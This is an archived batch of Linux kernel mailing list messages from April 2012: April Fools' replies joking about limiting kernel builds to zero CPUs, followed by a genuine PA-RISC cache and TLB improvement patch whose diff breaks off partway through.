	id 69335E4ABB; Sat, 31 Mar 2012 15:34:09 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <4F7782ED.7050407@lkmail.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 12033122-2398-0000-0000-0000057B7437
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:14241 gmane.linux.ports.mips.general:33952 gmane.linux.ports.ia64:22185 gmane.linux.ports.sparc:16004 gmane.linux.ports.hexagon:419 gmane.linux.hardware.blackfin.kernel.devel:6377 gmane.linux.ports.arm.kernel:159854 gmane.linux.ports.parisc:4264 gmane.linux.kernel:1275989 gmane.linux.ports.alpha:1776 gmane.linux.ports.ppc64.devel:81362
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/14241>

On Sun, Apr 01, 2012 at 12:19:25AM +0200, Lorenz Kolb wrote:
> With that patchset in mind, I am working on a really huge patch,
> which will greatly simplify the Linux kernel  for the real problem
> of having that number of CPUs.
> 
> That patch will have a lot of changes all over the architectures, so
> what will be the best way to post it? Should I split it architecture
> dependend and into one generic part.
> 
> Currently it is a large blob of millions of changes, but will
> greatly simplify the Linux kernel.

Perhaps a branch on a public git tree?  If you are doing what I suspect
you are, you will end up with a very large patch set.  ;-)

							Thanx, Paul

> Regards,
> 
> Lorenz Kolb
> 
> Am 31.03.2012 23:21, schrieb Paul E. McKenney:
> >On Sat, Mar 31, 2012 at 11:00:08PM +0200, Eric Dumazet wrote:
> >>On Sun, 2012-04-01 at 00:33 +0800, Paul E. McKenney wrote:
> >>>Although there have been numerous complaints about the complexity of
> >>>parallel programming (especially over the past 5-10 years), the plain
> >>>truth is that the incremental complexity of parallel programming over
> >>>that of sequential programming is not as large as is commonly believed.
> >>>Despite that you might have heard, the mind-numbing complexity of modern
> >>>computer systems is not due so much to there being multiple CPUs, but
> >>>rather to there being any CPUs at all.  In short, for the ultimate in
> >>>computer-system simplicity, the optimal choice is NR_CPUS=0.
> >>>
> >>>This commit therefore limits kernel builds to zero CPUs.  This change
> >>>has the beneficial side effect of rendering all kernel bugs harmless.
> >>>Furthermore, this commit enables additional beneficial changes, for
> >>>example, the removal of those parts of the kernel that are not needed
> >>>when there are zero CPUs.
> >>>
> >>>Signed-off-by: Paul E. McKenney<paulmck@linux.vnet.ibm.com>
> >>>Reviewed-by: Thomas Gleixner<tglx@linutronix.de>
> >>>---
> >>Hmm... I believe you could go one step forward and allow negative values
> >>as well. Antimatter was proven to exist after all.
> >>
> >>Hint : nr_cpu_ids is an "int", not an "unsigned int"
> >>
> >>Bonus: Existing bugs become "must have" features.
> >;-) ;-) ;-)
> >
> >>Of course there is no hurry and this can wait 365 days.
> >James Bottomley suggested imaginary numbers of CPUs some time back,
> >and I suppose there is no reason you cannot have fractional numbers of
> >CPUs, and perhaps irrational numbers as well.  Of course, these last two
> >would require use of floating-point arithmetic (or something similar)
> >in the kernel.  So I guess we have at several years worth.  Over to you
> >for the negative numbers.  ;-)
> >
> >							Thanx, Paul
> >
> >_______________________________________________
> >Linuxppc-dev mailing list
> >Linuxppc-dev@lists.ozlabs.org
> >https://lists.ozlabs.org/listinfo/linuxppc-dev
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH RFC] Simplify the Linux kernel by reducing its state	space
Date: Sat, 31 Mar 2012 18:22:12 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <20120401012212.GP2450@linux.vnet.ibm.com>
References: <20120331163321.GA15809@linux.vnet.ibm.com>
 <20120331223200.GA32482@n2100.arm.linux.org.uk>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1333243391 14375 80.91.229.3 (1 Apr 2012 01:23:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 1 Apr 2012 01:23:11 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-m32r@ml.linux-m32r.org, linux-m32r-ja@ml.linux-m32r.org,
	linux-mips@linux-mips.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, tglx@linutronix.de,
	dhowells@redhat.com, jejb@parisc-linux.org, linux390@de.ibm.com,
	x86@kernel.org, cmetcalf@tilera.com
To: Russell King - ARM Linux <linux@arm.linux.org.uk>
Original-X-From: linux-alpha-owner@vger.kernel.org Sun Apr 01 03:23:06 2012
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1SE9Va-0000ZX-4v
	for lnx-linux-alpha@plane.gmane.org; Sun, 01 Apr 2012 03:23:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752203Ab2DABXF (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Sat, 31 Mar 2012 21:23:05 -0400
Original-Received: from e34.co.us.ibm.com ([32.97.110.152]:33509 "EHLO
	e34.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751396Ab2DABXD (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Sat, 31 Mar 2012 21:23:03 -0400
Original-Received: from /spool/local
	by e34.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-alpha@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Sat, 31 Mar 2012 19:23:01 -0600
Original-Received: from d03dlp01.boulder.ibm.com (9.17.202.177)
	by e34.co.us.ibm.com (192.168.1.134) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Sat, 31 Mar 2012 19:22:26 -0600
Original-Received: from d03relay03.boulder.ibm.com (d03relay03.boulder.ibm.com [9.17.195.228])
	by d03dlp01.boulder.ibm.com (Postfix) with ESMTP id AFD9CC40001;
	Sat, 31 Mar 2012 19:22:24 -0600 (MDT)
Original-Received: from d03av01.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.195.167])
	by d03relay03.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q311MP0G185462;
	Sat, 31 Mar 2012 19:22:25 -0600
Original-Received: from d03av01.boulder.ibm.com (loopback [127.0.0.1])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q311MMS2022984;
	Sat, 31 Mar 2012 19:22:25 -0600
Original-Received: from paulmck-ThinkPad-W500 (sig-9-49-152-53.mts.ibm.com [9.49.152.53])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q311ML7p022961;
	Sat, 31 Mar 2012 19:22:22 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id B5E0BE4ABB; Sat, 31 Mar 2012 18:22:12 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20120331223200.GA32482@n2100.arm.linux.org.uk>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 12040101-1780-0000-0000-0000046C0FBF
X-IBM-ISS-SpamDetectors: 
X-IBM-ISS-DetailInfo: BY=3.00000264; HX=3.00000186; KW=3.00000007;
 PH=3.00000001; SC=3.00000001; SDB=6.00126942; UDB=6.00030202; UTC=2012-04-01
 01:22:58
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1777 gmane.linux.kernel:1276000 gmane.linux.ports.arm.kernel:159860 gmane.linux.hardware.blackfin.kernel.devel:6378 gmane.linux.ports.hexagon:420 gmane.linux.ports.ia64:22186 gmane.linux.ports.mips.general:33953 gmane.linux.ports.parisc:4265 gmane.linux.ports.ppc64.devel:81363 gmane.linux.ports.sh.devel:14242 gmane.linux.ports.sparc:16005
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/1777>

On Sat, Mar 31, 2012 at 11:32:00PM +0100, Russell King - ARM Linux wrote:
> On Sun, Apr 01, 2012 at 12:33:21AM +0800, Paul E. McKenney wrote:
> > Although there have been numerous complaints about the complexity of
> > parallel programming (especially over the past 5-10 years), the plain
> > truth is that the incremental complexity of parallel programming over
> > that of sequential programming is not as large as is commonly believed.
> > Despite that you might have heard, the mind-numbing complexity of modern
> > computer systems is not due so much to there being multiple CPUs, but
> > rather to there being any CPUs at all.  In short, for the ultimate in
> > computer-system simplicity, the optimal choice is NR_CPUS=0.
> > 
> > This commit therefore limits kernel builds to zero CPUs.  This change
> > has the beneficial side effect of rendering all kernel bugs harmless.
> > Furthermore, this commit enables additional beneficial changes, for
> > example, the removal of those parts of the kernel that are not needed
> > when there are zero CPUs.
> > 
> > Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
> > Reviewed-by: Thomas Gleixner <tglx@linutronix.de>
> 
> Great work, but I don't think you've gone far enough with this.
> 
> What would really help is if you could consolidate all these NR_CPUS
> definitions into one place so we don't have essentially the same thing
> scattered across all these architectures.  We're already doing this on
> ARM across our platforms, and its about time such an approach was taken
> across the entire kernel tree.
> 
> It looks like the MIPS solution would be the best one to pick.
> Could you rework your patch to do this please?
> 
> While you're at it, you might like to consider that having zero CPUs
> makes all this architecture support redundant, so maybe you've missed
> a trick there - according to my count, we could get rid of almost 3
> million lines of code from arch.  We could replace all that with a
> single standard implementation.
> 
> Bah, maybe I shouldn't have pushed that bpf_jit code for ARM after all...

;-) ;-) ;-)

							Thanx, Paul

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Borislav Petkov <bp@alien8.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH RFC] Simplify the Linux kernel by reducing its state space
Date: Sun, 1 Apr 2012 12:04:48 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <20120401100448.GD14848@liondog.tnic>
References: <20120331163321.GA15809@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: dough.gmane.org 1333274710 24497 80.91.229.3 (1 Apr 2012 10:05:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 1 Apr 2012 10:05:10 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-m32r@ml.linux-m32r.org, linux-m32r-ja@ml.linux-m32r.org,
	linux-mips@linux-mips.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, tglx@linutronix.de,
	linux@arm.linux.org.uk, dhowells@redhat.com, jejb@parisc-linux.org,
	linux390@de.ibm.com, x86@kernel.org, cmetcalf@tilera.com
To: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 01 12:05:04 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SEHec-0006uh-8q
	for glpp-linux-parisc@plane.gmane.org; Sun, 01 Apr 2012 12:04:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751147Ab2DAKE5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 1 Apr 2012 06:04:57 -0400
Original-Received: from mail.skyhub.de ([78.46.96.112]:45883 "EHLO mail.skyhub.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750898Ab2DAKEx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 1 Apr 2012 06:04:53 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.skyhub.de (SuperMail on ZX Spectrum 128k) with ESMTP id 4487F1D9C11;
	Sun,  1 Apr 2012 12:04:50 +0200 (CEST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=alien8.de; s=alien8;
	t=1333274690; bh=fgfW1dIwbkHrIwNqgGQYRlP+jtXz1e1sbfrsBb6KgmY=;
	h=Date:From:To:Cc:Subject:Message-ID:References:MIME-Version:
	 Content-Type:In-Reply-To; b=YaX6/gEGQne0Sa4MLA6gXja4tar7YIHIlSnZZy
	Hv2rbpF08atGOYiVww/ccmWVM0IJDn4VoPI5BAvKkqaxR8EGg9ra+1IGoNFEPIEpvDp
	2VBWYpevhqiniR5klEScrQY03tribAqda01SWT34RpeQinIZdpS9pPDX2IamL4Vnyc=
X-Virus-Scanned: Nedap ESD1 at mail.skyhub.de
Original-Received: from mail.skyhub.de ([127.0.0.1])
	by localhost (door.skyhub.de [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id a4sRHMOeaefi; Sun,  1 Apr 2012 12:04:50 +0200 (CEST)
Original-Received: from liondog.tnic (p4FF1D52B.dip.t-dialin.net [79.241.213.43])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mail.skyhub.de (SuperMail on ZX Spectrum 128k) with ESMTPSA id A52D71D9B04;
	Sun,  1 Apr 2012 12:04:49 +0200 (CEST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=alien8.de; s=alien8;
	t=1333274689; bh=fgfW1dIwbkHrIwNqgGQYRlP+jtXz1e1sbfrsBb6KgmY=;
	h=Date:From:To:Cc:Subject:Message-ID:References:MIME-Version:
	 Content-Type:In-Reply-To; b=BdGci+M7wnSfbDrg7Zjh5aTbjEidehfCbQY8Bw
	oTqjS9ycftxmrSI0Nr0Ndaz/kfLkqlH9BNgdvadcKVZ87Txawq/voaoPLnTUeNj4FJs
	KCwdy2/0dwU6zs4KHpgZ8Haex+De2enfOZ5nyOxYegw3khCPoCTx+Fjjm7DgNusIqs=
Original-Received: by liondog.tnic (Postfix, from userid 1000)
	id 455264B8D46; Sun,  1 Apr 2012 12:04:48 +0200 (CEST)
Mail-Followup-To: Borislav Petkov <bp@alien8.de>,
	"Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
	linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-m32r@ml.linux-m32r.org, linux-m32r-ja@ml.linux-m32r.org,
	linux-mips@linux-mips.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, tglx@linutronix.de,
	linux@arm.linux.org.uk, dhowells@redhat.com, jejb@parisc-linux.org,
	linux390@de.ibm.com, x86@kernel.org, cmetcalf@tilera.com
Content-Disposition: inline
In-Reply-To: <20120331163321.GA15809@linux.vnet.ibm.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4266 gmane.linux.kernel:1276077 gmane.linux.ports.alpha:1778 gmane.linux.ports.arm.kernel:159895 gmane.linux.hardware.blackfin.kernel.devel:6379 gmane.linux.ports.hexagon:422 gmane.linux.ports.ia64:22187 gmane.linux.ports.mips.general:33955 gmane.linux.ports.ppc64.devel:81370 gmane.linux.ports.sh.devel:14244 gmane.linux.ports.sparc:16006
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4266>

On Sun, Apr 01, 2012 at 12:33:21AM +0800, Paul E. McKenney wrote:
> Although there have been numerous complaints about the complexity of
> parallel programming (especially over the past 5-10 years), the plain
> truth is that the incremental complexity of parallel programming over
> that of sequential programming is not as large as is commonly believed.
> Despite that you might have heard, the mind-numbing complexity of modern
> computer systems is not due so much to there being multiple CPUs, but
> rather to there being any CPUs at all.  In short, for the ultimate in
> computer-system simplicity, the optimal choice is NR_CPUS=0.
> 
> This commit therefore limits kernel builds to zero CPUs.  This change
> has the beneficial side effect of rendering all kernel bugs harmless.
> Furthermore, this commit enables additional beneficial changes, for
> example, the removal of those parts of the kernel that are not needed
> when there are zero CPUs.
> 
> Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
> Reviewed-by: Thomas Gleixner <tglx@linutronix.de>

Looks good, thanks for doing that.

Btw, I just got confirmation from hw folk that we can actually give you
hardware support for that code with an upcoming CPU which has NR_CPUS=0
cores.

Oh, and additionally, we can disable some of those so getting into the
negative is also doable from the hw perspective, so feel free to explore
that side of the problem too.

ACK.

-- 
Regards/Gruss,
    Boris.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] PARISC: Cache and TLB improvements
Date: Sun, 1 Apr 2012 12:27:56 -0400
Lines: 1058
Approved: news@gmane.org
Message-ID: <BLU0-SMTP677BCF04040536F17CC577974F0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-85-655675035"
X-Trace: dough.gmane.org 1333297700 10509 80.91.229.3 (1 Apr 2012 16:28:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 1 Apr 2012 16:28:20 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 01 18:28:18 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SENdZ-0002U3-Mz
	for glpp-linux-parisc@plane.gmane.org; Sun, 01 Apr 2012 18:28:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751547Ab2DAQ2Q (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 1 Apr 2012 12:28:16 -0400
Original-Received: from blu0-omc4-s4.blu0.hotmail.com ([65.55.111.143]:58484 "EHLO
	blu0-omc4-s4.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751415Ab2DAQ2P (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 1 Apr 2012 12:28:15 -0400
Original-Received: from BLU0-SMTP67 ([65.55.111.136]) by blu0-omc4-s4.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 1 Apr 2012 09:28:14 -0700
X-Originating-IP: [69.158.168.8]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.168.8]) by BLU0-SMTP67.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 1 Apr 2012 09:28:13 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 01 Apr 2012 16:28:13.0958 (UTC) FILETIME=[6F86BA60:01CD1024]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4267
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4267>

--Apple-Mail-85-655675035
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

The attach change has evolved over many months.  It dramatically  
improves the
performance and stability of PA8800/PA8900 machines with large caches.

It cuts the build time for GCC by more than a factor of two.

Without the change, I would get many random HPMCs.  The GCC libgomp  
testsuite
would crash my rp3440 regularly.  With the patch, I haven't had a HPMC  
in more
than three months.  Pthread support is also improved, and as a result,  
it is now possible
to build many Debian packages that gave problems (e.g., perl, python,  
git).

The largest part of the performance increase comes from the changes to  
flush_cache_mm.
Minor increases come from loop unrolling in pacache.S.

I removed the prefetch code because I found in testing that it didn't  
help performance.
Note the previous implementation did a couple of prefetches from the  
next page...

I have kept code to clear/copy using the tmpalias region but it is my  
impression that
using the kernel mappings is slightly faster and works fine.  The  
tmpalias code can be
enabled if desired by simply defining CONFIG_PARISC_TMPALIAS in page.h.

It came to my attention that the tmpalias operations are not fully  
reentrant because
the entry in the TLB could get replaced.  This happens when the same  
page is used
for two different operations.  So, I added preempt_disable()/ 
preempt_enable() pairs
around the tmpalias operations.

Another issue with the tmpalias operations is the TLB purge.  A full  
multi CPU purge
needs a lock/unlock around the purge to prevent contention.   
Fortunately, we only
need to use a local purge on PA2.0.  The lock is only needed for SMP  
PA1.1 machines.

I implemented clear_page_asm and copy_page_asm as optimized clear/copy  
routines.
At one time, I had cache prefetch code in them, but I didn't find it  
improved performance.
As they stand, there is not much difference in performance from memset  
and memcpy.

Regarding TLB handling, I added code to purge the TLB entries in the  
set_pte_at macro
and ptep_set_wrprotect.  In the latter case, this ensures that the  
address range is actually
write protected.  The cache flush is only done if the page is copied.

Signed-off-by: John David Anglin <dave.anglin@bell.net>


--Apple-Mail-85-655675035
Content-Disposition: attachment; filename="cache-tlb-patch.txt"
Content-Type: text/plain; x-unix-mode=0644; name="cache-tlb-patch.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index da601dd..08f85dc 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -115,7 +115,9 @@ flush_anon_page(struct vm_area_struct *vma, struct page *page, unsigned long vma
 {
 	if (PageAnon(page)) {
 		flush_tlb_page(vma, vmaddr);
+		preempt_disable();
 		flush_dcache_page_asm(page_to_phys(page), vmaddr);
+		preempt_enable();
 	}
 }
 
diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index a84cc1f..9400a62 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -21,15 +21,27 @@
 #include <asm/types.h>
 #include <asm/cache.h>
 
-#define clear_page(page)	memset((void *)(page), 0, PAGE_SIZE)
-#define copy_page(to,from)      copy_user_page_asm((void *)(to), (void *)(from))
+#define clear_page(page)	clear_page_asm((void *)(page))
+#define copy_page(to,from)	copy_page_asm((void *)(to), (void *)(from))
 
 struct page;
 
-void copy_user_page_asm(void *to, void *from);
+void clear_page_asm(void *page);
+void copy_page_asm(void *to, void *from);
+void clear_user_page(void *vto, unsigned long vaddr, struct page *pg);
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 			   struct page *pg);
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg);
+
+// #define CONFIG_PARISC_TMPALIAS
+
+#ifdef CONFIG_PARISC_TMPALIAS
+void clear_user_highpage(struct page *page, unsigned long vaddr);
+#define clear_user_highpage clear_user_highpage
+struct vm_area_struct;
+void copy_user_highpage(struct page *to, struct page *from,
+	unsigned long vaddr, struct vm_area_struct *vma);
+#define __HAVE_ARCH_COPY_USER_HIGHPAGE
+#endif
 
 /*
  * These are used to make use of C type-checking..
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index 22dadeb..891b369 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -40,7 +40,14 @@ struct vm_area_struct;
         do{                                                     \
                 *(pteptr) = (pteval);                           \
         } while(0)
-#define set_pte_at(mm,addr,ptep,pteval) set_pte(ptep,pteval)
+
+extern void purge_tlb_entries(struct mm_struct *, unsigned long);
+
+#define set_pte_at(mm,addr,ptep, pteval)                        \
+        do{                                                     \
+                set_pte(ptep,pteval);                           \
+                purge_tlb_entries(mm,addr);                     \
+        } while(0)
 
 #endif /* !__ASSEMBLY__ */
 
@@ -460,10 +467,13 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 #ifdef CONFIG_SMP
 	unsigned long new, old;
 
+	/* ??? This might be racy because the page table updates in
+	   entry.S don't use the same lock.  */
 	do {
 		old = pte_val(*ptep);
 		new = pte_val(pte_wrprotect(__pte (old)));
 	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
+	purge_tlb_entries(mm, addr);
 #else
 	pte_t old_pte = *ptep;
 	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 83335f3..9561f1b 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -268,9 +268,11 @@ static inline void
 __flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr,
 		   unsigned long physaddr)
 {
+	preempt_disable();
 	flush_dcache_page_asm(physaddr, vmaddr);
 	if (vma->vm_flags & VM_EXEC)
 		flush_icache_page_asm(physaddr, vmaddr);
+	preempt_enable();
 }
 
 void flush_dcache_page(struct page *page)
@@ -316,7 +318,7 @@ void flush_dcache_page(struct page *page)
 		flush_tlb_page(mpnt, addr);
 		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
 			__flush_cache_page(mpnt, addr, page_to_phys(page));
-			if (old_addr)
+			if (old_addr && parisc_requires_coherency())
 				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? (char *)mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
 			old_addr = addr;
 		}
@@ -331,17 +333,6 @@ EXPORT_SYMBOL(flush_kernel_dcache_page_asm);
 EXPORT_SYMBOL(flush_data_cache_local);
 EXPORT_SYMBOL(flush_kernel_icache_range_asm);
 
-void clear_user_page_asm(void *page, unsigned long vaddr)
-{
-	unsigned long flags;
-	/* This function is implemented in assembly in pacache.S */
-	extern void __clear_user_page_asm(void *page, unsigned long vaddr);
-
-	purge_tlb_start(flags);
-	__clear_user_page_asm(page, vaddr);
-	purge_tlb_end(flags);
-}
-
 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
 int parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
 
@@ -375,20 +366,9 @@ void __init parisc_setup_cache_timing(void)
 	printk(KERN_INFO "Setting cache flush threshold to %x (%d CPUs online)\n", parisc_cache_flush_threshold, num_online_cpus());
 }
 
-extern void purge_kernel_dcache_page(unsigned long);
-extern void clear_user_page_asm(void *page, unsigned long vaddr);
-
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg)
-{
-	unsigned long flags;
-
-	purge_kernel_dcache_page((unsigned long)page);
-	purge_tlb_start(flags);
-	pdtlb_kernel(page);
-	purge_tlb_end(flags);
-	clear_user_page_asm(page, vaddr);
-}
-EXPORT_SYMBOL(clear_user_page);
+extern void purge_kernel_dcache_page_asm(unsigned long);
+extern void clear_user_page_asm(void *, unsigned long);
+extern void copy_user_page_asm(void *, void *, unsigned long);
 
